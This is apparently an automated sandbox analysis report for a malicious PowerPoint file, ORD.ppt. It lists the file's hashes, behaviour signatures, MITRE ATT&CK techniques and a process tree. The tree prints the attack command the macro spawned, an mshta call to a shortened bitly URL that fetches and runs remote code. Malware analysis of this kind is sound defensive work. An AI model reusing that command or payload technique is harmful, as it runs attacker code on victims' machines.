Analysis

  • max time kernel
    42s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22-07-2021 07:36

General

  • Target

    ORD.ppt

  • Size

    81KB

  • MD5

    fb68f8be8c75736c63464b924ff7c33b

  • SHA1

    6546c3af939be5e2a2bce5c03a8d89ec562665f6

  • SHA256

    730791498e622e20755f6b0100dd78dc66fd2e99f85aecf1d55626960c1260de

  • SHA512

    ef05425c38e63c78099ec4f43c80e9368d53890c75c19470d9dd715fcd169e3af7eec63a5fc078a2fba886974e962ed95fec3a26d3f5b71b079508cf2cc270de

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\ORD.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:684
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2012
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://www.bitly.com/tyuwqghwqbsvaklajsmk
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:1224

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/684-60-0x0000000074051000-0x0000000074055000-memory.dmp
      Filesize

      16KB

    • memory/684-61-0x00000000711F1000-0x00000000711F3000-memory.dmp
      Filesize

      8KB

    • memory/684-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/684-64-0x0000000075C71000-0x0000000075C73000-memory.dmp
      Filesize

      8KB

    • memory/684-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1224-66-0x0000000000000000-mapping.dmp
    • memory/2012-63-0x0000000000000000-mapping.dmp
    • memory/2012-65-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp
      Filesize

      8KB